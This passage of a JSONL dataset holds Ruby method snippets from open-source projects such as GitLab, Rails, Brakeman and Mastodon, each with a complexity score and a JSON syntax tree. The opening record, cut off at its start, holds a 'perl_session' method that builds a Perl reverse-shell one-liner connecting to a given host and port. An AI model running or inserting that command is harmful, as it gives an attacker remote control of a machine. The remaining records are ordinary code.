end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"perl_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lhost\"]},{\"type\":\"arg\",\"children\":[\"lport\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"perl -v\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Larry\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Perl reverse shell selected\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET \"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(PeerAddr,\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lport\"]}]},{\"type\":\"str\",\"children\":[\"\\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No scripting environment found for the selected type.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}","id":"7b6387ce-9932-47e2-98c4-46da73a0d4f3"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/services/bim/ifc_models/view_converter_service.rb","start_line":105,"raw_source":"def ifc_model_path\n        Pathname(ifc_model.ifc_attachment.diskfile.path)\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ifc_model_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"Pathname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ifc_model\"]},\"ifc_attachment\"]},\"diskfile\"]},\"path\"]}]}]}","id":"626b3392-c067-4c58-ba7a-438a6b0467aa"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":454,"raw_source":"def test_no_cross_site_scripting_in_case_value\n    assert_no_warning :type => :template,\n      :warning_code => 5,\n      :fingerprint => \"e9a2843313999c2e856065efaf0a84ffc56ed912112c34927f406339bb395715\",\n      :warning_type => \"Cross-Site Scripting\",\n      :line => 1,\n      :message => /^Unescaped\\ parameter\\ value/,\n      :confidence => 2,\n      :relative_path => \"app/views/users/case_statement.html.erb\",\n      :user_input => s(:call, s(:params), :[], s(:lit, :x))\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_cross_site_scripting_in_case_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"e9a2843313999c2e856065efaf0a84ffc56ed912112c34927f406339bb395715\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Unescaped\\\\ parameter\\\\ value\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/views/users/case_statement.html.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"x\"]}]}]}]}]}]}]}","id":"e6743810-d57c-44ca-b59e-0cd1a5f82e44"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/naming/binary_operator_parameter_name.rb","start_line":45,"raw_source":"def op_method?(name)\n          return false if EXCLUDED.include?(name)\n\n          !/\\A[[:word:]]/.match?(name) || OP_LIKE_METHODS.include?(name)\n        end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"op_method?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXCLUDED\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A[[:word:]]\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OP_LIKE_METHODS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}","id":"15a33ef5-8842-4172-b3df-6e0c2cb69b47"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ssh_public_key.rb","start_line":45,"raw_source":"def self.supported_algorithms\n      technologies.flat_map { |tech| tech.supported_algorithms }\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"supported_algorithms\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"technologies\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tech\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tech\"]},\"supported_algorithms\"]}]}]}","id":"b4605e2c-0858-4f3a-8e94-a2254d9218f2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240805080941_add_organization_id_to_personal_access_tokens.rb","start_line":10,"raw_source":"def up\n    with_lock_retries do\n      add_column :personal_access_tokens, :organization_id, :bigint, default: DEFAULT_ORGANIZATION_ID, null: false,\n        if_not_exists: true\n    end\n    # rubocop:disable Migration/PreventIndexCreation -- Legacy migration\n    add_concurrent_index :personal_access_tokens, :organization_id, name: INDEX_NAME\n    # rubocop:enable Migration/PreventIndexCreation\n    add_concurrent_foreign_key :personal_access_tokens, :organizations, column: :organization_id, on_delete: :cascade\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"personal_access_tokens\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_ORGANIZATION_ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"personal_access_tokens\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"personal_access_tokens\"]},{\"type\":\"sym\",\"children\":[\"organizations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]}","id":"b8338677-1db3-46b8-b0a6-767f4db7f478"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/profiles/two_factor_auths_controller.rb","start_line":172,"raw_source":"def build_qr_code\n    uri = current_user.otp_provisioning_uri(account_string, issuer: issuer_host)\n    svg = RQRCode::QRCode.new(uri, level: :m).as_svg(\n      shape_rendering: \"crispEdges\",\n      module_size: 3\n    )\n\n    doc = Nokogiri::XML(svg)\n    svg_node = doc.at('svg')\n    title = Nokogiri::XML::Node.new('title', doc)\n    title.content = _('Generated QR Code')\n    svg_node.children.before(title)\n\n    doc.to_xml\n  end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"build_qr_code\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"otp_provisioning_uri\",{\"type\":\"send\",\"children\":[null,\"account_string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issuer\"]},{\"type\":\"send\",\"children\":[null,\"issuer_host\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"svg\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RQRCode\"]},\"QRCode\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"m\"]}]}]}]},\"as_svg\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shape_rendering\"]},{\"type\":\"str\",\"children\":[\"crispEdges\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_size\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"lvar\",\"children\":[\"svg\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"svg_node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"at\",{\"type\":\"str\",\"children\":[\"svg\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\"]},\"Node\"]},\"new\",{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"doc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"content=\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Generated QR Code\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svg_node\"]},\"children\"]},\"before\",{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"to_xml\"]}]}]}","id":"eca93bc6-030b-45b8-9416-fc39a6c8d90c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/lfs/client.rb","start_line":105,"raw_source":"def lfs_url(raw_url, strip_userinfo)\n        # HTTParty will give precedence to the username/password\n        # specified in the URL. This causes problems with Azure DevOps,\n        # which includes a username in the URL. Stripping the userinfo\n        # from the URL allows the provided HTTP Basic Authentication\n        # credentials to be used.\n        if strip_userinfo\n          Gitlab::UrlSanitizer.new(raw_url).sanitized_url\n        else\n          raw_url\n        end\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"lfs_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_url\"]},{\"type\":\"arg\",\"children\":[\"strip_userinfo\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strip_userinfo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UrlSanitizer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"raw_url\"]}]},\"sanitized_url\"]},{\"type\":\"lvar\",\"children\":[\"raw_url\"]}]}]}","id":"96336909-2dc7-4c02-8273-8bfab7c56fb0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/environments_controller.rb","start_line":165,"raw_source":"def terminal_websocket_authorize\n    # Just return the first terminal for now. If the list is in the process of\n    # being looked up, this may result in a 404 response, so the frontend\n    # should retry those errors\n    terminal = environment.terminals.try(:first)\n    if terminal\n      set_workhorse_internal_api_content_type\n      render json: Gitlab::Workhorse.channel_websocket(terminal)\n    else\n      render html: 'Not found', status: :not_found\n    end\n  end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"terminal_websocket_authorize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"terminal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment\"]},\"terminals\"]},\"try\",{\"type\":\"sym\",\"children\":[\"first\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"terminal\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_workhorse_internal_api_content_type\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Workhorse\"]},\"channel_websocket\",{\"type\":\"lvar\",\"children\":[\"terminal\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"str\",\"children\":[\"Not found\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]}]}]}","id":"f62a93e2-b320-473c-8ef0-70fc8b2a1110"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user_preferences_account.rb","start_line":11,"raw_source":"def click_edit_avatar_button\n        page.find_button(\"edit-avatar\").click\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"click_edit_avatar_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find_button\",{\"type\":\"str\",\"children\":[\"edit-avatar\"]}]},\"click\"]}]}","id":"8ccd45f2-3c1e-47ed-909c-084091710645"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/principal_base_filter.rb","start_line":47,"raw_source":"def where\n    operator_strategy.sql_for_field(values_replaced, self.class.model.table_name, self.class.key)\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator_strategy\"]},\"sql_for_field\",{\"type\":\"send\",\"children\":[null,\"values_replaced\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"model\"]},\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"key\"]}]}]}","id":"ec278592-6a8f-49dc-ab2d-0a7dc98a072d"}
{"repo_name":"gl_command","file_path":"./repos/gl_command/lib/gl_command/validatable.rb","start_line":28,"raw_source":"def validate_validatable!\n      return true if validatable_valid?\n\n      stop_and_fail!(ActiveRecord::RecordInvalid.new(self), no_notify: true)\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_validatable!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validatable_valid?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"stop_and_fail!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_notify\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"34e96898-cd8e-4986-892f-c3cd5944eca9"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1295,"raw_source":"def test_assert_performed_jobs_with_only_option_as_array\n      assert_nothing_raised do\n        assert_performed_jobs 2, only: [HelloJob, LoggingJob] do\n          HelloJob.perform_later(\"jeremy\")\n          LoggingJob.perform_later(\"stewie\")\n          RescueJob.perform_later(\"david\")\n        end\n      end\n    end","complexity_score":8.43,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_performed_jobs_with_only_option_as_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_performed_jobs\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"jeremy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"stewie\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RescueJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"david\"]}]}]}]}]}]}","id":"7253e3c7-a611-47f7-8e18-767ae0fce40f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/note_serializer.rb","start_line":85,"raw_source":"def shares\n    ActivityPub::CollectionPresenter.new(\n      id: ActivityPub::TagManager.instance.shares_uri_for(object),\n      type: :unordered,\n      size: object.reblogs_count\n    )\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"shares\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"CollectionPresenter\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"shares_uri_for\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"unordered\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"reblogs_count\"]}]}]}]}]}","id":"01812780-c643-422f-a159-e174af8d1615"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/pages_domain.rb","start_line":104,"raw_source":"def https?\n    certificate.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"https?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"certificate\"]},\"present?\"]}]}","id":"b488898f-38da-4aa5-9a50-8e0b98061e87"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/ci/pipeline_processing/atomic_processing_service_spec.rb","start_line":1499,"raw_source":"def create_build(name, **opts)\n      create(:ci_build, :created, pipeline: pipeline, name: name, **with_stage_opts(opts))\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwrestarg\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"ci_build\"]},{\"type\":\"sym\",\"children\":[\"created\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"send\",\"children\":[null,\"pipeline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_stage_opts\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}]}","id":"773c998c-6b6e-4cfd-b1d2-853f532b32ac"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/render_parser/ripper_render_parser.rb","start_line":81,"raw_source":"def hash?\n          type == :bare_assoc_hash || type == :hash\n        end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"hash?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"bare_assoc_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"hash\"]}]}]}]}","id":"dbc03092-6611-49b3-93af-73813bfa12b6"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/template_alias_processor.rb","start_line":69,"raw_source":"def template_name name\n    if !name.to_s.include?('/') && @template.name.to_s.include?('/')\n      name = \"#{@template.name.to_s.match(/^(.*\\/).*$/)[1]}#{name}\"\n    end\n    name\n  end","complexity_score":16.83,"ast_json":"{\"type\":\"def\",\"children\":[\"template_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"name\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"name\"]},\"to_s\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(.*/).*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"a611cbfb-c454-433d-9209-3be354cc5ed2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/jwt_v2.rb","start_line":47,"raw_source":"def predefined_claims\n        additional_custom_claims = {\n          runner_id: runner&.id,\n          runner_environment: runner_environment,\n          sha: pipeline.sha,\n          project_visibility: Gitlab::VisibilityLevel.string_level(project.visibility_level),\n          user_identities: user_identities,\n          target_audience: target_audience\n        }.compact\n\n        mapper = ClaimMapper.new(project_config, pipeline)\n\n        super.merge(additional_custom_claims).merge(mapper.to_h)\n      end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"predefined_claims\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"additional_custom_claims\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runner_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runner_environment\"]},{\"type\":\"send\",\"children\":[null,\"runner_environment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_visibility\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VisibilityLevel\"]},\"string_level\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"visibility_level\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_identities\"]},{\"type\":\"send\",\"children\":[null,\"user_identities\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_audience\"]},{\"type\":\"send\",\"children\":[null,\"target_audience\"]}]}]},\"compact\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mapper\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClaimMapper\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project_config\"]},{\"type\":\"send\",\"children\":[null,\"pipeline\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"lvar\",\"children\":[\"additional_custom_claims\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapper\"]},\"to_h\"]}]}]}]}","id":"872a8a2a-bc33-47b4-9355-4d7271285385"}
